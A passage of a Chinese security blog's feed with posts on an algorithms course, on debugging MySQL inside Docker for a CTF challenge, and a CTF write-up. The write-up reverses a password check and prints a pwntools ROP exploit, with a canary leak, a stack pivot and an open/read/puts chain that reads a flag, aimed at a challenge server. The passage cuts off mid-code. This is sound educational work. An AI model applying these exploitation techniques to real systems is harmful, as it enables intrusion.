rel="noopener">https://www.jianshu.com/p/be6bbc251919</a></p><p><a href="https://mp.weixin.qq.com/s/Ov5PXoh-gHYYrOCA9TNWGw" target="_blank" rel="noopener">https://mp.weixin.qq.com/s/Ov5PXoh-gHYYrOCA9TNWGw</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;博客长草严重，上半年摸鱼太久。最近趁着有空开始复现之前的一些题目，这次做了2020RCTF的几道pwn题，本来还想着把MIPS那道题做出来再发，结果发现MIPS的调试还有很多问题，所以就先发常规一点的题。&lt;/p&gt;
&lt;h2 id=&quot;note&quot;&gt;&lt;a href=&quot;#note&quot; 
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="CTF" scheme="https://hurricane618.me/tags/CTF/"/>
    
      <category term="ROP" scheme="https://hurricane618.me/tags/ROP/"/>
    
      <category term="heap" scheme="https://hurricane618.me/tags/heap/"/>
    
  </entry>
  
  <entry>
    <title>算法课程总结</title>
    <link href="https://hurricane618.me/2020/01/13/algorithm-course-summary/"/>
    <id>https://hurricane618.me/2020/01/13/algorithm-course-summary/</id>
    <published>2020-01-13T11:00:36.000Z</published>
    <updated>2020-01-13T11:03:07.533Z</updated>
    
    <content type="html"><![CDATA[<p>一开始只是抱着开阔视野的心态来的，想着算法是IT行业哪里都会用到的东西，学完之后觉得卜老师不愧是教了13年的老师，很多地方都很受益，虽然不是专门做算法的，其中的很多思想都对以后的工作有一定启发。</p><h2 id="观察问题的角度"><a href="#观察问题的角度" class="headerlink" title="观察问题的角度"></a>观察问题的角度</h2><h3 id="问题的可分解性"><a href="#问题的可分解性" class="headerlink" title="问题的可分解性"></a>问题的可分解性</h3><p>想要解决一个复杂的问题，我们首先从这个问题最简单的实例入手，这个最简单的实例能用什么方法解决？复杂的问题能不能分解成简单的问题？</p><h3 id="可行性解的形式以及解之间的变换关系"><a href="#可行性解的形式以及解之间的变换关系" class="headerlink" title="可行性解的形式以及解之间的变换关系"></a>可行性解的形式以及解之间的变换关系</h3><p>问题的可行解的形式是什么？可行解的总数有多少？可行解能否一步一步的逐步构建出来？我们能否对一个可行解施加小幅度的扰动，将它变成另外一个可行解？</p><h3 id="类似的问题"><a href="#类似的问题" class="headerlink" title="类似的问题"></a>类似的问题</h3><p>和给定的问题类似的问题有哪些？解决类似问题的算法能够直接运用于解决当前的问题？如果不能，那么是什么因素造成了妨碍？能否想到方法消除这些妨碍的因素？</p><h3 id="现有算法的不足"><a href="#现有算法的不足" class="headerlink" title="现有算法的不足"></a>现有算法的不足</h3><p>现有的算法有哪些不足？比如：是否存在冗余计算？如果存在的话，能否想到办法消除冗余？</p><h2 id="解决问题的思路"><a href="#解决问题的思路" class="headerlink" title="解决问题的思路"></a>解决问题的思路</h2><h3 id="基于对问题结构观察的算法设计"><a href="#基于对问题结构观察的算法设计" class="headerlink" title="基于对问题结构观察的算法设计"></a>基于对问题结构观察的算法设计</h3><p>在解决一个问题的时候，需要分析这个问题是怎么组成的，能够怎么抽象。而不是直接一个一个算法去套，这种硬套的方法就是碰运气，如果运气好就能用，运气不好就不行了。</p><h3 id="从最简单的例子做起"><a href="#从最简单的例子做起" class="headerlink" title="从最简单的例子做起"></a>从最简单的例子做起</h3><p>做复杂的问题很多时候会很懵逼，这个时候就需要从最简单的情况考虑问题比如n=2，n=3的时候，这样会更加容易上手。</p><h3 id="试图把大问题分解成小问题"><a href="#试图把大问题分解成小问题" class="headerlink" title="试图把大问题分解成小问题"></a>试图把大问题分解成小问题</h3><p>如果从简单问题的观察中，发现问题是可以分解的，那么我们可以尝试把大问题分解成小问题。</p><h3 id="试图从粗糙开始逐步改善"><a href="#试图从粗糙开始逐步改善" class="headerlink" title="试图从粗糙开始逐步改善"></a>试图从粗糙开始逐步改善</h3><p>如果从简单问题的观察中，发现问题是不能分解的，那么就从最笨最简陋的方法开始逐步优化。</p><h3 id="试图枚举所有的解，但是要用聪明的方法"><a href="#试图枚举所有的解，但是要用聪明的方法" class="headerlink" title="试图枚举所有的解，但是要用聪明的方法"></a>试图枚举所有的解，但是要用聪明的方法</h3><p>如果问题的解是一种集合，那么可以尝试枚举所有的解。在遍历的过程中要学会剪枝，不要暴力检索。</p><h3 id="难以优化的函数使用下界或者上界函数代替"><a href="#难以优化的函数使用下界或者上界函数代替" class="headerlink" title="难以优化的函数使用下界或者上界函数代替"></a>难以优化的函数使用下界或者上界函数代替</h3><p>例如：EM，Lagrangian，log barrier<br>$$<br>\large \begin{matrix}<br>min &amp; f(x)\<br>s.t. &amp; h(x) \geq 0<br>\end{matrix}<br>$$<br>$f(x)$难以计算的时候，使用拉格朗日乘子，$L(x,\lambda)=f(x)-\lambda h(x)$，如果$\lambda \geq 0$那么必有$f(x) \geq L(x,\lambda)$。</p><h3 id="复杂操作的潜力一定要挖掘干净"><a href="#复杂操作的潜力一定要挖掘干净" class="headerlink" title="复杂操作的潜力一定要挖掘干净"></a>复杂操作的潜力一定要挖掘干净</h3><p>例如：Dinic’s algorithm</p><p>一次BFS需要O(m)的时间，只用于增广一条<code>s-&gt;t</code>路。而把一条路改成所有路就能最大程度的增加效率。（这个算法其实我没听懂23333）</p><h3 id="求同时满足多个条件的解，分步满足，并利用对称性"><a href="#求同时满足多个条件的解，分步满足，并利用对称性" class="headerlink" title="求同时满足多个条件的解，分步满足，并利用对称性"></a>求同时满足多个条件的解，分步满足，并利用对称性</h3><p>在我们解决LP问题的时候，通常需要满足多个条件，那么我们可以这样来解决问题，先满足其中的大部分条件，然后再循环逼近另外的条件，或者降低不满足其他条件的程度。</p><h3 id="想想对偶"><a href="#想想对偶" class="headerlink" title="想想对偶"></a>想想对偶</h3><p>依旧是在解决LP问题时候的一种策略，如果单纯的替换变量不好做，那么可以试试对偶来解决问题。</p><h3 id="Random-sampling"><a href="#Random-sampling" class="headerlink" title="Random sampling"></a>Random sampling</h3><p>分治思想中的快排，在选取切分点的时候不会去选择最优的pivot而是随机选择一个。</p><h3 id="Scaling-number"><a href="#Scaling-number" class="headerlink" title="Scaling number"></a>Scaling number</h3><p>在有很多数字计算的问题中，可以采用放缩的方法降低计算量。比如所有的数字都除一个数，如果数字小于1就变成0。</p><h3 id="从最好-gt-足够好"><a href="#从最好-gt-足够好" class="headerlink" title="从最好 =&gt; 足够好"></a>从最好 =&gt; 足够好</h3><p>这个思想和random sampling有点类似，不一定要最好的分支点（命中概率$\frac{1}{n}$），只要足够好就行（命中概率$\frac{1}{2}$），如果要对快排再次改进，就可以让选择pivot的时候限制在一个较好的区间中，避免pivot在最边上的情况。</p><h2 id="最后"><a href="#最后" class="headerlink" title="最后"></a>最后</h2><p>推荐了两本书Polya的《怎样解题》和费曼的《物理学讲义》。一本书是对解题思维过程的理解，另外一本书是著名的物理学家费曼的物理讲义，想要了解什么书才是好书，把科学的概念和生活联系在一起，而不是枯燥的阐述和推理。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;一开始只是抱着开阔视野的心态来的，想着算法是IT行业哪里都会用到的东西，学完之后觉得卜老师不愧是教了13年的老师，很多地方都很受益，虽然不是专门做算法的，其中的很多思想都对以后的工作有一定启发。&lt;/p&gt;
&lt;h2 id=&quot;观察问题的角度&quot;&gt;&lt;a href=&quot;#观察问题的角度&quot;
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="算法" scheme="https://hurricane618.me/tags/%E7%AE%97%E6%B3%95/"/>
    
  </entry>
  
  <entry>
    <title>Docker中的Mysql配置问题处理与思考</title>
    <link href="https://hurricane618.me/2019/11/27/docker-mysql-problem-check/"/>
    <id>https://hurricane618.me/2019/11/27/docker-mysql-problem-check/</id>
    <published>2019-11-27T15:07:33.000Z</published>
    <updated>2019-11-27T16:01:02.987Z</updated>
    
    <content type="html"><![CDATA[<p>记录一下，我在docker容器中配置Mysql时遇到的坑，以及处理过程中学到的知识。</p><h2 id="起因"><a href="#起因" class="headerlink" title="起因"></a>起因</h2><p>最近作业量多，任务重结果还是被点名出题（哭唧唧），没办法只能硬着头皮上。有了出题思路之后，和<code>@wh1t3Pig</code>交流之后得知需要使用<code>docker-compose</code>来布置出题环境。啥？卧槽？不能手动布置吗？算了，就当做是对我的考验。所以我开开心心的写好源文件之后，开始准备布置环境，那么到底是直接拉个Mysql，还是直接在容器内部装？在内部装又有各种问题。。。这里就把这些坑记录下来造福后人，同时也有一定的分析。</p><h2 id="web-server-mysql-or-in-one-container？"><a href="#web-server-mysql-or-in-one-container？" class="headerlink" title="web server+mysql or in one container？"></a>web server+mysql or in one container？</h2><p>在参考多个知名项目和比赛题目的<code>Dockerfile</code>，<code>docker-compose.yml</code>，<code>start.sh</code>之后，毅然决定使用把服务全部装进一个容器的思路。</p><p>为什么？考虑有以下几点：</p><ol><li>我出的题目是SQLi，需要提前在数据库中插入数据，然而使用直接拉一个Mysql的方式，非常不方便，如果要插入数据必须要再写一个针对Mysql的<code>Dockerfile</code>，那这样还不如直接放在一起。</li><li>这道题的数据库和其他题目不共享，单独拉一个的意义不大。</li><li>如果以后要多节点部署这种题目，数据库独立的话能避免队伍之间搅屎。</li></ol><p>注：要是有师傅能有更好的解决方案，欢迎交流。</p><h2 id="Mysql的安装交互问题"><a href="#Mysql的安装交互问题" class="headerlink" title="Mysql的安装交互问题"></a>Mysql的安装交互问题</h2><p>那么采用了服务装进一个容器里面之后，发现了另外一个问题，<code>apt-get install mysql-server</code>这个安装是需要交互的，途中要求你设置root的密码。这个没有办法用<code>-y</code>选项回避掉。一顿搜索之后，在stackoverflow中看到可以使用一个环境变量<code>DEBIAN_FRONTEND=noninteractive</code>来跳过交互。</p><p>这样我们在<code>Dockerfile</code>中</p><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">ENV</span> DEBIAN_FRONTEND=noninteractive</span><br><span class="line"><span class="keyword">RUN</span> apt-get update &amp;&amp; apt-get install -y mysql-server &amp;&amp; apt-get clean</span><br></pre></td></tr></table></figure><p>就可以完美解决交互问题。</p><h2 id="php中的mysql扩展安装顺序问题"><a href="#php中的mysql扩展安装顺序问题" class="headerlink" title="php中的mysql扩展安装顺序问题"></a>php中的mysql扩展安装顺序问题</h2><p>题目使用的是mysql扩展，自带的php没有，这个时候需要<code>docker-php-ext-install mysql</code>。但是事故发生了，我在手动操作的时候是可以成功的，但是自动化的时候连接报错<code>No such file or directory</code>，当时我立即使用Mysql的客户端尝试连接，结果是成功的，排除了用户名和密码问题。那么问题来了，为什么Mysql客户端可以连接成功，php的连接函数就不行。</p><p>在网上找到有关分析，使用<code>strace</code>分析之后发现，php连接函数使用的是<code>unixdomain socket</code>，同时访问的是<code>/tmp/mysql.sock</code>，这里没有这个socket文件，导致报出没有文件的错误。结合其他资料，当使用<code>localhost</code>进行连接的时候，会使用<code>unixdomain</code>的方式。这个<code>/tmp/mysql.sock</code>则是由于php没有设置mysql的默认socket，写死在源码中的默认值。</p><p>但是这就奇怪了，我在手动操作时，也是通过docker自带的安装程序安装扩展的。思考之后，发现命令的执行顺序不同，在手动配置时，我是先安装Mysql，同时开启服务之后才安装的扩展。那么来对比一下，不同的顺序php的配置会有什么不同。</p><p>先安装扩展，后开启服务。</p><img src="/2019/11/27/docker-mysql-problem-check/1.png"><p>看到这里是没有设置的状态，先开启Mysql服务，再安装扩展。</p><img src="/2019/11/27/docker-mysql-problem-check/2.png"><p>看到这里的默认socket已经设置了。所以我们在安装服务类型的扩展时，要先开启服务，再安装扩展。</p><h2 id="Mysql在docker中的服务开启问题"><a href="#Mysql在docker中的服务开启问题" class="headerlink" title="Mysql在docker中的服务开启问题"></a>Mysql在docker中的服务开启问题</h2><p>这又是个诡异的问题，和上个问题一样，在手动操作的时候<code>service mysql start</code>一点毛病没有，在自动化的时候就炸。唯一的区别是中间的交互过程，手动操作是由交互，自动化是无交互。查询日志得到<code>[ERROR] Fatal error: Can&#39;t open and lock privilege tables: Got error 140 from storage engine</code>。让人摸不着头脑，只能沿着这条线继续深入。</p><p>这个问题发生在很多用Dockerfile来build的容器上，在github的issue上也找到一些问题的回答。找到的其中一个解决方案是在<code>docker-compose.yml</code>文件中加上<code>volumes:(换行) - /var/lib/mysql</code>，我很好奇是什么机制导致必须要手动在容器内部挂载。</p><p>有些issue中提起现在docker的内部文件系统已经从<code>aufs</code>变成了<code>overlay</code>和<code>overlay2</code>，Mysql启动出现问题的都是以<code>overlay</code>系列为文件系统的docker。最后找到了docker在<code>overlay2</code>的文档中的一段对打开文件操作的描述。</p><blockquote><p>open(2): OverlayFS only implements a subset of the POSIX standards. This can result in certain<br>OverlayFS operations breaking POSIX standards. One such operation is the copy-up operation. Suppose that your application calls fd1=open(“foo”, O_RDONLY) and then fd2=open(“foo”, O_RDWR). In this case, your application expects fd1 and fd2 to refer to the same file. However, due to a copy-up operation that occurs after the second calling to open(2), the descriptors refer to different files. The fd1 continues to reference the file in the image (lowerdir) and the fd2 references the file in the container (upperdir). A workaround for this is to touch the files which causes the copy-up operation to happen. All subsequent open(2) operations regardless of read-only or read-write access mode will be referencing the file in the container (upperdir).</p><p>yum is known to be affected unless the yum-plugin-ovl package is installed. If the yum-plugin-ovl package is not available in your distribution such as RHEL/CentOS prior to 6.8 or 7.2, you may need to run touch /var/lib/rpm/* before running yum install. This package implements the touch workaround referenced above for yum.</p></blockquote><p>大体的意思就是，新的<code>overlay</code>文件系统仅仅只实现了<code>POSIX</code>标准的一部分，这就导致某些操作会有异常，比如以两种不同的打开标准操作同一个文件，这里就会让其中的一些操作是针对镜像中的文件，另外一些是针对容器中的文件，这样我们的应用本该是只能控制容器内的文件，却对镜像中的这个文件有操作，从而出现异常。里面给出的解决方案是在启动我们的服务应用之前，把需要操作的文件全部<code>touch</code>一遍。</p><p>所以第二种解决方案是在启动服务之前全部<code>touch</code>一遍<code>find /var/lib/mysql -type f -exec touch {} \;</code>。但是事情还没完，为什么在docker build的阶段会这样，而我们手动操作的时候不会出现，答案已经很明显了。只有在docker build的阶段才会有可能产生对镜像内的文件操作，但是我们手动执行时已经是确确实实的在容器中了，也就只能操作容器内的文件，类似<code>open(2)</code>的操作对镜像中的文件不会有干扰。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>遇到某些奇怪的现象不要停留在表象，要知其所以然，不要想当然。其次，这次的情况就可以看出中文资料非常有限，所以用英文搜索是一种必备技巧。最后，官方文档是一个宝藏，遇到项目问题可能文档中就有答案。</p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p><a href="https://stackoverflow.com/questions/38165407/installing-lightdm-in-dockerfile-raises-interactive-keyboard-layout-menu" target="_blank" rel="noopener">https://stackoverflow.com/questions/38165407/installing-lightdm-in-dockerfile-raises-interactive-keyboard-layout-menu</a></p><p><a href="https://my.oschina.net/scgywx/blog/1545301" target="_blank" rel="noopener">https://my.oschina.net/scgywx/blog/1545301</a></p><p><a href="https://github.com/geerlingguy/drupal-vm/issues/1497" target="_blank" rel="noopener">https://github.com/geerlingguy/drupal-vm/issues/1497</a></p><p><a href="https://github.com/docker/for-linux/issues/72" target="_blank" rel="noopener">https://github.com/docker/for-linux/issues/72</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;记录一下，我在docker容器中配置Mysql时遇到的坑，以及处理过程中学到的知识。&lt;/p&gt;
&lt;h2 id=&quot;起因&quot;&gt;&lt;a href=&quot;#起因&quot; class=&quot;headerlink&quot; title=&quot;起因&quot;&gt;&lt;/a&gt;起因&lt;/h2&gt;&lt;p&gt;最近作业量多，任务重结果还是被点名出题（
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="docker" scheme="https://hurricane618.me/tags/docker/"/>
    
      <category term="Mysql" scheme="https://hurricane618.me/tags/Mysql/"/>
    
  </entry>
  
  <entry>
    <title>CNSS招新题中的一道ROP题</title>
    <link href="https://hurricane618.me/2019/11/11/cnss-recruit-pwn-1/"/>
    <id>https://hurricane618.me/2019/11/11/cnss-recruit-pwn-1/</id>
    <published>2019-11-11T02:34:09.000Z</published>
    <updated>2019-11-11T02:37:05.600Z</updated>
    
    <content type="html"><![CDATA[<p>CNSS招新题目中有两道不错的Pwn题，拿来学习一波知识。然而其中有一道是内核ROP，复现了好几天。。还是有点问题，再加上研究生大作业集群来了（完全不能摸鱼，哭唧唧），所以那道内核题能做出来就放博客。</p><h2 id="Sleepy-Server"><a href="#Sleepy-Server" class="headerlink" title="Sleepy Server"></a>Sleepy Server</h2><p>这道题checksec发现防御全开，同时给了libseccomp，看来是对libc的调用有一定限制。</p><img src="/2019/11/11/cnss-recruit-pwn-1/1.png"><p>可以看到禁用了execve，不能通过直接拿shell获得flag。开始分析整个程序，看看有什么利用点。</p><img src="/2019/11/11/cnss-recruit-pwn-1/2.png"><p>比较容易的就能看到<code>buf</code>有一个溢出，但是溢出的数量有限只有0x10字节，随后看到我们输入的用户名和密码被传入一个函数判断，判断的结果正确才会进入漏洞点，我们继续跟进<code>sub_E9D</code>函数。</p><img src="/2019/11/11/cnss-recruit-pwn-1/3.png"><p>在这里我们发现只对<code>a2</code>有相关操作，也就是我们输入的密码。首先一个临时数组保存<code>v3 ^ a2[i]</code>的数据，并且将这个数据更新到<code>v3</code>上。也就是说每次异或操作都是和上一轮异或的结果和这轮的字符，同时临时保存的每轮异或数据要和<code>v8</code>开始的一系列值相等。</p><p>从上面看一共有12个值，那么密码的长度肯定是12，这样我们有每轮异或最后的结果可以异或操作逆推回去。原始输入的结果就等于这轮异或结果与上一轮异或结果相异或，然后第一轮是这轮结果与0异或得到。解密代码如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">data = [<span class="number">115</span>, <span class="number">7</span>, <span class="number">98</span>, <span class="number">18</span>, <span class="number">77</span>, <span class="number">47</span>, <span class="number">86</span>, <span class="number">9</span>, <span class="number">122</span>, <span class="number">14</span>, <span class="number">107</span>, <span class="number">27</span>]</span><br><span class="line">v3 = <span class="number">0</span></span><br><span class="line">passwd = <span class="string">''</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> data:</span><br><span class="line">    passwd += chr(i ^ v3)</span><br><span class="line">    v3 = i</span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> passwd</span><br></pre></td></tr></table></figure><p>最后拿到的密码是<code>step_by_step</code>，这样我们就能顺利进入漏洞触发点了。</p><p>我们继续看<code>main</code>函数，同样很容易发现有两次<code>printf</code>，由于程序是开启了<code>canary</code>保护的，我们需要先泄露才行，而这里有两次输出，那么第一次输出就是为了泄露数据。最后8个字节为<code>canary</code>，通常这个值的最低位为0，我们也是只需要把这个0覆盖掉，就能让<code>printf</code>把后面的<code>canary</code>和<code>rbp</code>一起输出。有了<code>rbp</code>的数据我们能通过调试知道这个<code>rbp</code>和程序的起始地址的差值，从而得到程序的起始基地址，从而同时解决了地址随机化的问题。</p><p>现在目光集中在下一次输入的溢出上，这里只能溢出16字节，这意味着我们只能覆盖<code>rbp</code>和<code>ret_address</code>，溢出位数不够怎么解决？现在我的思路有两个</p><ol><li>利用<code>one_gadget</code>一次性获得shell（可能性较小，因为seccomp的原因）</li><li>移动栈帧，把栈帧移动到我们能写入的地方，以此来构造ROP chain</li></ol><p>使用<code>one_gadget</code>进行尝试，意料之中的失败。。ROP大师的题目果然是不能偷鸡成功的。</p><p>移动栈帧的<code>leave ret</code>在程序中比较常用，还是很好找，同时我们有程序的基地址也就能找到我们写入的地址。</p><p>第一次的返回地址填入漏洞点的上方，也是为了在第一次读入数据之后再次获得读入数据的机会，然后第二次读入的时候<code>rbp</code>填入我们的可控地址，返回地址填入<code>leave ret</code>的gadget。这样在read之后会调用一次<code>leave</code>，<code>ret</code>之后又会有第二次<code>leave</code>来让栈帧移动。随后就是无限重复第二次动作，来完成ROP。exp如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python2</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment"># This exploit template was generated via:</span></span><br><span class="line"><span class="comment"># $ pwn template rop</span></span><br><span class="line"><span class="comment"># Author: hurricane618</span></span><br><span class="line"><span class="comment"># E-mail: hurricane618@hotmail.com</span></span><br><span class="line"><span class="comment"># Website: hurricane618.me</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="comment"># Set up pwntools for the correct architecture</span></span><br><span class="line">exe = ELF(<span class="string">'./'</span> + <span class="string">'rop'</span>)</span><br><span class="line">context.binary = <span class="string">'./'</span> + <span class="string">'rop'</span></span><br><span class="line"><span class="comment">#libc = exe.libc</span></span><br><span class="line">libc = ELF(<span class="string">'./libc-2.27.so'</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#===========================================================</span></span><br><span class="line"><span class="comment">#                    EXPLOIT GOES HERE</span></span><br><span class="line"><span class="comment">#===========================================================</span></span><br><span class="line"><span class="comment"># Arch:     amd64-64-little</span></span><br><span class="line"><span class="comment"># RELRO:    Full RELRO</span></span><br><span class="line"><span class="comment"># Stack:    Canary found</span></span><br><span class="line"><span class="comment"># NX:       NX enabled</span></span><br><span class="line"><span class="comment"># PIE:      PIE enabled</span></span><br><span class="line"><span class="keyword">if</span> args[<span class="string">'DEBUG'</span>]:</span><br><span class="line">    context.log_level = <span class="string">'debug'</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> args[<span class="string">'REMOTE'</span>]:</span><br><span class="line">    io = remote(<span class="string">'139.9.5.20'</span>, <span class="string">'60607'</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    io = process(exe.path, env=&#123;<span class="string">"LD_PRELOAD"</span>:<span class="string">"./libseccomp.so.2"</span>&#125;)</span><br><span class="line"></span><br><span class="line">payload1 = <span class="number">0xb8</span> * <span class="string">'a'</span></span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">'name: '</span>)</span><br><span class="line">io.sendline(<span class="string">'whz'</span>)</span><br><span class="line">io.recvuntil(<span class="string">'Password: '</span>)</span><br><span class="line">io.sendline(<span class="string">'step_by_step'</span>)</span><br><span class="line">io.recvuntil(<span class="string">'tell me what you say\n'</span>)</span><br><span class="line">pause()</span><br><span class="line">io.sendline(payload1)</span><br><span class="line">pause()</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="number">0xb8</span> * <span class="string">'a'</span> + <span class="string">'\n'</span>)</span><br><span class="line">canary = u64(<span class="string">'\x00'</span> + io.recv(<span class="number">7</span>))</span><br><span class="line">elf_base = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">'\x00'</span>)) - <span class="number">0x1180</span></span><br><span class="line">info(<span class="string">'canary:'</span>+hex(canary))</span><br><span class="line">info(<span class="string">'elf_base:'</span>+hex(elf_base))</span><br><span class="line"></span><br><span class="line">bss=elf_base+<span class="number">0x00202500</span> <span class="comment">#这里不是bss段 但是是一段空白数据区域 可以任意写入</span></span><br><span class="line">buf=bss+<span class="number">0x200</span></span><br><span class="line">buf2=buf+<span class="number">0x200</span></span><br><span class="line">file_place=buf2+<span class="number">0x200</span> <span class="comment"># string ./flag\x00</span></span><br><span class="line">buf3=file_place+<span class="number">0x200</span></span><br><span class="line">file_name=<span class="string">'./flag\x00\x00'</span></span><br><span class="line"></span><br><span class="line">pop_rdi_ret = <span class="number">0x11e3</span> + elf_base</span><br><span class="line">pop_rbp_ret = <span class="number">0x0b70</span> + elf_base</span><br><span class="line">read_ret = <span class="number">0x1144</span> + elf_base</span><br><span class="line">leave_ret = <span class="number">0x1176</span> + elf_base</span><br><span class="line">read_got = exe.got[<span class="string">'read'</span>] + elf_base</span><br><span class="line">puts_plt = exe.plt[<span class="string">'puts'</span>] + elf_base</span><br><span class="line">read_plt = exe.plt[<span class="string">'read'</span>] + elf_base</span><br><span class="line"></span><br><span class="line">payload2 = <span class="number">0xb8</span> * <span class="string">'b'</span></span><br><span class="line">payload2 += p64(canary)</span><br><span class="line">payload2 += p64(buf)</span><br><span class="line">payload2 += p64(read_ret)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">'I will go to sleep\n'</span>)</span><br><span class="line">io.send(payload2)</span><br><span class="line"></span><br><span class="line">payload3 = p64(pop_rdi_ret)</span><br><span class="line">payload3 += p64(read_got)</span><br><span class="line">payload3 += p64(puts_plt)</span><br><span class="line">payload3 += p64(pop_rbp_ret)</span><br><span class="line">payload3 += p64(file_place + <span class="number">0xc0</span>)</span><br><span class="line">payload3 += p64(read_ret)</span><br><span class="line">payload3 += <span class="number">17</span> * p64(<span class="number">0</span>) <span class="comment"># padding to len=0xb8</span></span><br><span class="line">payload3 += p64(canary)</span><br><span class="line">payload3 += p64(buf - <span class="number">0xc8</span>)</span><br><span class="line">payload3 += p64(leave_ret)</span><br><span class="line"></span><br><span class="line">io.send(payload3)</span><br><span class="line">read_addr = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">'\x00'</span>))</span><br><span class="line">libc_base = read_addr - libc.symbols[<span class="string">'read'</span>]</span><br><span class="line">info(<span class="string">"libc base:"</span> + hex(libc_base))</span><br><span class="line">pop_rsi_ret = <span class="number">0x23e6a</span> + libc_base</span><br><span class="line">pop_rdx_ret = <span class="number">0x1b96</span> + libc_base</span><br><span class="line">open_addr = libc.symbols[<span class="string">'open'</span>] + libc_base</span><br><span class="line"></span><br><span class="line">payload4 = file_name</span><br><span class="line">payload4 += p64(pop_rdi_ret)</span><br><span class="line">payload4 += p64(file_place)</span><br><span class="line">payload4 += p64(pop_rsi_ret)</span><br><span class="line">payload4 += p64(<span class="number">0</span>)</span><br><span class="line">payload4 += p64(open_addr)</span><br><span class="line">payload4 += p64(pop_rdi_ret)</span><br><span class="line">payload4 += p64(<span class="number">3</span>)</span><br><span class="line">payload4 += p64(pop_rsi_ret)</span><br><span class="line">payload4 += p64(buf3)</span><br><span class="line">payload4 += p64(pop_rdx_ret)</span><br><span class="line">payload4 += p64(<span class="number">0x30</span>)</span><br><span class="line">payload4 += p64(read_plt)</span><br><span class="line">payload4 += p64(pop_rdi_ret)</span><br><span class="line">payload4 += p64(buf3)</span><br><span class="line">payload4 += p64(puts_plt)</span><br><span class="line">payload4 += (<span class="number">0xb8</span> - len(payload4))/<span class="number">8</span> * p64(<span class="number">0</span>)</span><br><span class="line">payload4 += p64(canary)</span><br><span class="line">payload4 += p64(file_place)</span><br><span class="line">payload4 += p64(leave_ret)</span><br><span class="line"></span><br><span class="line">pause()</span><br><span class="line">io.send(payload4)</span><br><span class="line">pause()</span><br><span 